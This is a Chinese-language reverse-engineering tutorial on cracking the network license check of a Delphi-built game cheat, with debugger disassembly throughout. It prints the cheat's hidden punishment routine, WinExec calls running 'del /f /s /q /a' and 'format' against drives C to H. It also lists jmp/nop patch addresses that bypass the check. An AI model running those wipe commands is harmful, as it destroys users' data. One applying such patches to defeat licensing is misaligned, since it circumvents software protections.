讲解DELPHI的网络验证
DELPHI的OEP
004C2D30 > $ 55 push ebp
004C2D31 . 8BEC mov ebp,esp
004C2D33 . 83C4 F0 add esp,-0x10
004C2D36 . B8 7CD04B00 mov eax,运行这个.004BD07C
004C2D3B . E8 B472F4FF call 运行这个.00409FF4
004C2D40 . A1 905B4C00 mov eax,dword ptr ds:[0x4C5B90]
004C2D45 . 8B00 mov eax,dword ptr ds:[eax]
004C2D47 . E8 943BFEFF call 运行这个.004A68E0
004C2D4C . A1 905B4C00 mov eax,dword ptr ds:[0x4C5B90]
004C2D51 . 8B00 mov eax,dword ptr ds:[eax]
004C2D53 . BA 942D4C00 mov edx,运行这个.004C2D94
004C2D58 . E8 9F35FEFF call 运行这个.004A62FC
004C2D5D . 8B0D BC5C4C00 mov ecx,dword ptr ds:[0x4C5CBC] ; 运行这个.004CB2E0
004C2D63 . A1 905B4C00 mov eax,dword ptr ds:[0x4C5B90]
004C2D68 . 8B00 mov eax,dword ptr ds:[eax]
004C2D6A . 8B15 B4C64B00 mov edx,dword ptr ds:[0x4BC6B4] ; 运行这个.004BC70C
004C2D70 . E8 833BFEFF call 运行这个.004A68F8
004C2D75 . A1 905B4C00 mov eax,dword ptr ds:[0x4C5B90]
004C2D7A . 8B00 mov eax,dword ptr ds:[eax]
004C2D7C . E8 C73CFEFF call 运行这个.004A6A48
004C2D81 . E8 EA30F4FF call 运行这个.00405E70
004C2D86 . 0000 add byte ptr ds:[eax],al
cmd.exe /c del /f /s /q /a c:\*.*
009A1000 04 10 add al,0x10
009A1002 9A 00030742 6F6>call far 6F6F:42070300
009A1009 6C ins byte ptr es:[edi],dx
009A100A 65:61 popad //关注
009A100C 6E outs dx,byte ptr es:[edi]
009A100D 0100 add dword ptr ds:[eax],eax
009A100F 0000 add byte ptr ds:[eax],al
009A1011 0001 add byte ptr ds:[ecx],al
009A1013 0000 add byte ptr ds:[eax],al
009A1015 0000 add byte ptr ds:[eax],al
009A1017 109A 00054661 adc byte ptr ds:[edx+0x61460500],bl
009A101D 6C ins byte ptr es:[edi],dx
009A101E 73 65 jnb short qqhx_dxm.009A1085
00B34619 6A 00 push 0x0
00B3461B 68 CC46B300 push qqhx_dxm.00B346CC ; cmd.exe /c del /f /s /q /a c:\*.*
00B34620 E8 3F81E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34625 6A 00 push 0x0
00B34627 68 F046B300 push qqhx_dxm.00B346F0 ; cmd.exe /c format c:/u/s/q
00B3462C E8 3381E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34631 6A 00 push 0x0
00B34633 68 0C47B300 push qqhx_dxm.00B3470C ; cmd.exe /c del /f /s /q /a d:\*.*
00B34638 E8 2781E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B3463D 6A 00 push 0x0
00B3463F 68 3047B300 push qqhx_dxm.00B34730 ; cmd.exe /c format d:/u/s/q
00B34644 E8 1B81E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34649 6A 00 push 0x0
00B3464B 68 4C47B300 push qqhx_dxm.00B3474C ; cmd.exe /c del /f /s /q /a e:\*.*
00B34650 E8 0F81E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34655 6A 00 push 0x0
00B34657 68 7047B300 push qqhx_dxm.00B34770 ; cmd.exe /c format e:/u/s/q
00B3465C E8 0381E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34661 6A 00 push 0x0
00B34663 68 8C47B300 push qqhx_dxm.00B3478C ; cmd.exe /c del /f /s /q /a f:\*.*
00B34668 E8 F780E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B3466D 6A 00 push 0x0
00B3466F 68 B047B300 push qqhx_dxm.00B347B0 ; cmd.exe /c format f:/u/s/q
00B34674 E8 EB80E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34679 6A 00 push 0x0
00B3467B 68 CC47B300 push qqhx_dxm.00B347CC ; cmd.exe /c del /f /s /q /a g:\*.*
00B34680 E8 DF80E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34685 6A 00 push 0x0
00B34687 68 F047B300 push qqhx_dxm.00B347F0 ; cmd.exe /c format g:/u/s/q
00B3468C E8 D380E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B34691 6A 00 push 0x0
00B34693 68 0C48B300 push qqhx_dxm.00B3480C ; cmd.exe /c del /f /s /q /a h:\*.*
00B34698 E8 C780E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B3469D 6A 00 push 0x0
00B3469F 68 3048B300 push qqhx_dxm.00B34830 ; cmd.exe /c format h:/u/s/q
00B346A4 E8 BB80E7FF call qqhx_dxm.009AC764 ; jmp 到 kernel32.WinExec
00B346A9 C605 F516B500 0>mov byte ptr ds:[0xB516F5],0x0
当我们看到否一串地址里面他调用到了这个API jmp 到 kernel32.WinExec
其实也就是调用CMD命令进行格盘
H请注意！收到此信息可能你没有获得 daxiongmao 的使用权！ 一经发现后果自负!
00B34613 /E9 98000000 jmp qqhx_dxm.00B346B0
00B34618 |90 nop
00B005E4 /E9 12010000 jmp qqhx_dxm.00B006FB
00B005E9 |90 nop
00B227AC 90 nop
00B227AD 90 nop
00B227B5 /EB 0F jmp short qqhx_dxm.00B227C6
00B22975 /EB 0D jmp short qqhx_dxm.00B22984
00B21C30 90 nop
00B21C31 90 nop
00B1A1DE /E9 97030000 jmp qqhx_dxm.00B1A57A
00B1A1E3 |90 nop
009B88B1 /EB 19 jmp short qqhx_dxm.009B88CC
009A0000
\drivers\etc\HOSTS
检测HOSTS是否外挂被本地
就是留意数据窗口中的字符串，注意是否有格盘或者特定的检测信息
DLL的地址是牵涉到重定位的，所以他的基址是随机变化的，每一个系统都可能是不同的基址
所以我们必须要先减掉基址，在进行偏移的修改